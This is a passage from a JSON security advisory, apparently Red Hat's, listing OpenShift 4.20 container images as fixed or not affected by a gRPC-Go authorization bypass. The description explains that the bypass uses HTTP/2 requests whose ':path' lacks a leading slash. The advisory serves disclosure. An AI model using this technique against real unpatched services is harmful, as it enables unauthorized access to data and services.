"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:647e915e236daa81b0001b61dcfdbea5cb999a844ec0d52f7d0dd4e224cbcbb9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:bf4b64740a63a1f6e541d92128c9237fdd813a52536ed1273983946e3c215f7f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:203ec72895a613490e467305fd2ad96e620d4ea8631b44117be4f7227cb3d162_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:86e58cc04993c9ebb62ff13f8c9e38fcb1dd1bbdd7f5474a8c6de3a73b628492_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:89275d5e3701e681b789e2c80377bdc124c617ccf1fea892fcd9342647ee4e13_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:8ec539591813dd64b6e220480649aceb0f20ac8dbaccf29f5852805fe2d653c6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:06e3ee0cbdc2f1b3ad5e51bacf75c05cf7f156f8ab0ab451ae0d7849095c35a4_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:8dc3a7e099280b53633b6dc3bddcade1de7720e6b26689b99b13f146675c4f5b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:e926f2b13e47bf18d2109a39fb2023f112df68ce206f797f60aabe688b203bde_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:ecd2f1b4154e0e1a82956378e620ff618383e341b7ad7571c4c1fbec55a2db5b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:29d98fcb36f650c7bc94edf306894f4add6d8470dd75ef1b9d2f86a96f7eeefb_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b3a9fee448a212907122556f9d2b6441122cd09f03fd85b953db0f06527cd841_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b9a359fca4093efb9deaf581963244e67abfc7afc3ec6df558cc1525adaed085_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:e6d546338774b75c347f1c00f01897d2c18bcc02aae73801c888a1c0bc7159a9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:fe589677a60e47f089add4a8662d7a5bb018d149bd40951450afcad9459d0868_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:0265e523cbb12746ce518597e1f2ae8dfed5a4f108410d74a284429511d7dd80_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:06833bd27e40dd3a770cac2b4bc943cbbcc005409df8bcb8da465c2f4cfe25e3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3e44064c6c2f51f5d59267cb3be081e525227b412f84cdf982239a7340c5a0b6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:89c39898050cee289a3d05bace758ad4551a9dcb4b55467dff1b70ef304e227a_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:7b5d98fb5c01c84f70fdd05e5ca4ea35f580eacf123fd70744dd207e90ac8ecc_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:dcb687dac46dfcb5190a00860a358b63304e344ee233605c69442ae784df50a7_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5571dc60fd35ac8fc45f1632859804ec7f6b261b131bd8a1f68ab4de49c79a08_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:638bf4691fd54f1854134c0a350a18956f2d4e33367775c35882bbffad8a085e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e7665d0ff02bafdf87f7cf26d8f9364504b6019a582381408cf5f6bbb8a6b2c0_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:ebf9d8e110fdd0eb92437bb9948019dd5caaaa13dff3bbdacf99caf98a11f701_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:49bd024d3d99fb1ad7bab883c7e5f660183c3146ca927b6d7ddceeeddfcba157_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:b66789383841ab46f31f467fa319ec01d202f7f69739ff4d251b4af0a6c9e6e6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:c346d06d42db2adc95274fdad624981452835dde285b7f44bf72a8d362ce73bb_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:cb690ce1b790312c809730ce08830a3fd43ff06a3136c57256952cd7bbe13d55_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:624021ed9404e77d1417862044df4b04fa3fe3dc026b03ea54a2b87d4376d387_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:a1bd5af44e35c68359b7bc642c195a557a25e15f41124b5874fc1e51ee299bf3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:ee697ce277502f25541e9973db31e142af9c4419849a50d0a020c61afcc48c33_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:fdea6c63c595dc8b02cef15286aeb3ddc3bfe0193de45201d0cfb11a3bcd589f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:522a646576645bcbf84710a97c8f89c577d55a22f1d8d1c868135d1d8ecbe34c_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:81c0cf537924384b7ef75b604e5941fc51fe049641622c4b772852788da14097_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:89f57abd15554b50bd27019be5438490bd6207d18d457607603c511a054f1b7a_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:9c0de5f2f719b24731c4a5aaa2e1b40d661e67a72fe0d3caac4271f9e9d5ead5_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1b57935b2c9a488ef21e6d66ad07c2e25a1737b0e0641319fbe7710a24e01e4b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:365ac58c2af582f184d3f62beaa48d15f3981e4d8da0cbbb8c93ec6986243b51_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:38eb1cac78fe34949a20dbc1cc949f4d2861d9db7ada1de0e5ed29279901f408_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:d3125750bd9da51e7a35ef16af331b8a2b3dc157b3fa471629fb616322e35fc9_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:1a8f96819a4c2b6c5d8d3d16e7f2d86cd98fec4d54aadc93d577114787713537_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:640edf3a82ee8b13796051e101e647b2378da417e14a1dff18ce501e4fd37bb3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:c7a464e13822761ca8082145086084a7ee99dac69eaf2499ae3a216840866dac_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:f01be0e96604d69f4c4e9e4363da99fab82220b72e34accaedd7c62f3e510f2d_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:050d6a3c89ac2be7115949ac33afe56a690b5d56775be5f1f004902ba056da20_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:3170599804e9cf0f6ee3edf955f2d9b34a462a3cf1fb667a2db53ccc9498724c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:74ed6313652eb904df6f81151b9c829c01f7304c6872071a100a65ada5679978_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:8f505384a22a337f1ac2c2b76051e4cee2a60b638cebe734816ff49bb1fb0b9f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7154ccb28376771fbbb8754ddd010672548c43fbec531e0cfdf3007a8efd882c_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7c254637daf1b7564394c9a6425b9dec8a711e27ccfc659d5a55471c218b14cd_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:ad266469369890878063a4e0793c144bf73be0c963be65f154f3e8988c666fe2_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:fe01dc34d6ef1faf09be0e5b4fd7c9c0db4baafc8fdd77ab61d25167c80e8a53_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:c731759826eeaffcc98dcc86e890adc3dcbc3497761bbebe04265892e782963d_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:dcaeb66077a2e78128d7ddc7b03ec9501f65c14f068948a9fbb82245927f2d04_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:06a4c88d17ea03dbcaf83bfbf36d42ae4e288218477c11ba8bdbb45eb5b3ca56_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:387d5a03bce1e6b80a36582c2959e6c0569cbce7f49b5c29297c4eae1fa89a4f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:3ddb9e724e529e60d4b0669d5630f661f416c4e762c60d25b70573b40ef131b3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:cbe78a9f8013acf7217363c5512cb61b16db26ade6a00b3ec9bad7b534ea6c97_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:0f70afc8fc44153005b719e423b9414a806f52a1f0a0eaf383214e7aeb0d1d43_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9e2ca3a4a43f24bb081c0d1a20350a9086e93dcbdc617b561fcc39369273b32e_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:a66f68ebb39a0474bc89255b465750e203dabacfdec098ec20c14b7adb7e26af_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:f811943f27e46556496a9833e20192a53b11d441660f8815b32f5afbc1eddd0e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:1a7ac4b64621194572606055e495c964f0061619156b58db38e5e3ed0d63b359_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:7acd95b189ae4b09922c757de90a1855a91ec8d185144ef19027bd0ff1c9f522_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:8caabe7828c7c1df3b1edf2585a48055615ff16becb6149a8d558ce9ce717862_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:c37cf3696e1b4c67f30d7a42f324606c6814e61ddbe3e5520e0a7a0a0242ed6d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:0c87c80a5bccd9225c9d1faa85ea7d0deed337a138fadb0412af6590fd9f96b4_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6e40ba6ae462a707631a6f8496ae597f811f3eaef98bdfcc0d0dedb0dcdc1575_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6ecb5789c21c2bf45a3312bd7116f847a3b15646009fed0031a6cf160306e965_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:7a55683ac150ed1a4ec96017f62099116b81d07a0b0277a6eaab06cc2064116b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:3b6e1dbf5de0caacb2cd524ca40193db89ec825360c0dfd8e1f3af197f4539dd_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:6a598579673f0a81e14f17fc463ee4f6bb3cfa937f281bd089b479b5155980d6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:ad1759daee6b18fa3267b578c75fb178730319d1cd9527a21fb9836ddc4facac_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:babce324aa37ddf6db4514c1a697a4f2769775426fb59c635d2c8702e9952153_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:48b50cb476bad0b50177ddf4d801d8a953249f4c5a268d2822d16ed4845bf33f_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:590285997861e1233f792b5f371e9897086fd3b217a4840c5bfa971118472c94_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9c1401fe5364b8ba3a069ac69a16e60d09f54e1dc17f30bdd438933f60474b8f_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9f4ff8acdc663301d308156bb2c56d68379a95fa087bc71f41a699a8ed08eba9_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:20c651f23e57bce386239c12ad3e2a19aa3220ef5c89c2561cad7bd40476d4c0_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:3fa417f375c4d41175b700a1a44f7dbd60f58a9337b1202720696f84d347fda9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:44f8632e12b1a2e798c518cccff5aff1ebdfc1cdda8a4bb044ed01e322aa1f2c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:b081739ac1afa49e7a1eb8f73b76bd30241c056eb55ed06d2845002368571fb3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:2f154bdf369c1e9b9981b9478399f8bb870aad53bd5f33420a74bfdfd942ae8d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:5d44a3b19601304824c82cb302a575d2ffa8e7085d02abfaae925af1b2908eaf_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:8d50532844d79c853a38a59c62ad4e6ea253e5ca6d54a81791b38922053f9ddd_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:db6900b8ab7297ae4b098c821386069cba11b54e0211f726607a108b74969067_arm64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2449833"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in gRPC-Go, the Go language implementation of gRPC. This vulnerability, an authorization bypass, is caused by improper input validation of the HTTP/2 `:path` pseudo-header. A remote attacker can exploit this by sending raw HTTP/2 frames with a malformed `:path` that omits the mandatory leading slash. This allows the attacker to bypass defined security policies, potentially leading to unauthorized access to services or information disclosure.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "google.golang.org/grpc/grpc-go: google.golang.org/grpc/authz: gRPC-Go: Authorization bypass due to improper HTTP/2 path validation",
"title": "Vulnerability summary"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:3bbdf23c749d068f766d18fccd5e5ae23ff90a5565d8f5101b551113cfb6c123_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:979314a23724ebc8de0be49aa32b8f420179125c695ca48549f541e59337e1b2_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:98636cb3a8c474d6564ee277234bfa6f8bd4bc74a8a5327c4eb21b26c2c9d626_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:f7cbd75d0671200c3af39c481f36478676c328f47692c1f2c1b46429470eb9bf_ppc64le"
],
"known_not_affected": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:3cb1ef218d08069307b9cb1013d1a3814567df8ec55f64ddd9b72f5790a03f3c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:450a1c77d36771a98dfa96bb128a066192871becc7ff3edd5da3f9839de5b87b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:647e915e236daa81b0001b61dcfdbea5cb999a844ec0d52f7d0dd4e224cbcbb9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:bf4b64740a63a1f6e541d92128c9237fdd813a52536ed1273983946e3c215f7f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:203ec72895a613490e467305fd2ad96e620d4ea8631b44117be4f7227cb3d162_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:86e58cc04993c9ebb62ff13f8c9e38fcb1dd1bbdd7f5474a8c6de3a73b628492_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:89275d5e3701e681b789e2c80377bdc124c617ccf1fea892fcd9342647ee4e13_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:8ec539591813dd64b6e220480649aceb0f20ac8dbaccf29f5852805fe2d653c6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:06e3ee0cbdc2f1b3ad5e51bacf75c05cf7f156f8ab0ab451ae0d7849095c35a4_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:8dc3a7e099280b53633b6dc3bddcade1de7720e6b26689b99b13f146675c4f5b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:e926f2b13e47bf18d2109a39fb2023f112df68ce206f797f60aabe688b203bde_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:ecd2f1b4154e0e1a82956378e620ff618383e341b7ad7571c4c1fbec55a2db5b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:29d98fcb36f650c7bc94edf306894f4add6d8470dd75ef1b9d2f86a96f7eeefb_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b3a9fee448a212907122556f9d2b6441122cd09f03fd85b953db0f06527cd841_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b9a359fca4093efb9deaf581963244e67abfc7afc3ec6df558cc1525adaed085_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:e6d546338774b75c347f1c00f01897d2c18bcc02aae73801c888a1c0bc7159a9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:fe589677a60e47f089add4a8662d7a5bb018d149bd40951450afcad9459d0868_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:0265e523cbb12746ce518597e1f2ae8dfed5a4f108410d74a284429511d7dd80_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:06833bd27e40dd3a770cac2b4bc943cbbcc005409df8bcb8da465c2f4cfe25e3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3e44064c6c2f51f5d59267cb3be081e525227b412f84cdf982239a7340c5a0b6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:89c39898050cee289a3d05bace758ad4551a9dcb4b55467dff1b70ef304e227a_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:7b5d98fb5c01c84f70fdd05e5ca4ea35f580eacf123fd70744dd207e90ac8ecc_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:dcb687dac46dfcb5190a00860a358b63304e344ee233605c69442ae784df50a7_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5571dc60fd35ac8fc45f1632859804ec7f6b261b131bd8a1f68ab4de49c79a08_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:638bf4691fd54f1854134c0a350a18956f2d4e33367775c35882bbffad8a085e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e7665d0ff02bafdf87f7cf26d8f9364504b6019a582381408cf5f6bbb8a6b2c0_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:ebf9d8e110fdd0eb92437bb9948019dd5caaaa13dff3bbdacf99caf98a11f701_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:49bd024d3d99fb1ad7bab883c7e5f660183c3146ca927b6d7ddceeeddfcba157_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:b66789383841ab46f31f467fa319ec01d202f7f69739ff4d251b4af0a6c9e6e6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:c346d06d42db2adc95274fdad624981452835dde285b7f44bf72a8d362ce73bb_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:cb690ce1b790312c809730ce08830a3fd43ff06a3136c57256952cd7bbe13d55_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:624021ed9404e77d1417862044df4b04fa3fe3dc026b03ea54a2b87d4376d387_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:a1bd5af44e35c68359b7bc642c195a557a25e15f41124b5874fc1e51ee299bf3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:ee697ce277502f25541e9973db31e142af9c4419849a50d0a020c61afcc48c33_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:fdea6c63c595dc8b02cef15286aeb3ddc3bfe0193de45201d0cfb11a3bcd589f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:522a646576645bcbf84710a97c8f89c577d55a22f1d8d1c868135d1d8ecbe34c_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:81c0cf537924384b7ef75b604e5941fc51fe049641622c4b772852788da14097_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:89f57abd15554b50bd27019be5438490bd6207d18d457607603c511a054f1b7a_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:9c0de5f2f719b24731c4a5aaa2e1b40d661e67a72fe0d3caac4271f9e9d5ead5_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1b57935b2c9a488ef21e6d66ad07c2e25a1737b0e0641319fbe7710a24e01e4b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:365ac58c2af582f184d3f62beaa48d15f3981e4d8da0cbbb8c93ec6986243b51_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:38eb1cac78fe34949a20dbc1cc949f4d2861d9db7ada1de0e5ed29279901f408_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:d3125750bd9da51e7a35ef16af331b8a2b3dc157b3fa471629fb616322e35fc9_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:1a8f96819a4c2b6c5d8d3d16e7f2d86cd98fec4d54aadc93d577114787713537_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:640edf3a82ee8b13796051e101e647b2378da417e14a1dff18ce501e4fd37bb3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:c7a464e13822761ca8082145086084a7ee99dac69eaf2499ae3a216840866dac_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:f01be0e96604d69f4c4e9e4363da99fab82220b72e34accaedd7c62f3e510f2d_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:050d6a3c89ac2be7115949ac33afe56a690b5d56775be5f1f004902ba056da20_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:3170599804e9cf0f6ee3edf955f2d9b34a462a3cf1fb667a2db53ccc9498724c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:74ed6313652eb904df6f81151b9c829c01f7304c6872071a100a65ada5679978_s390x",
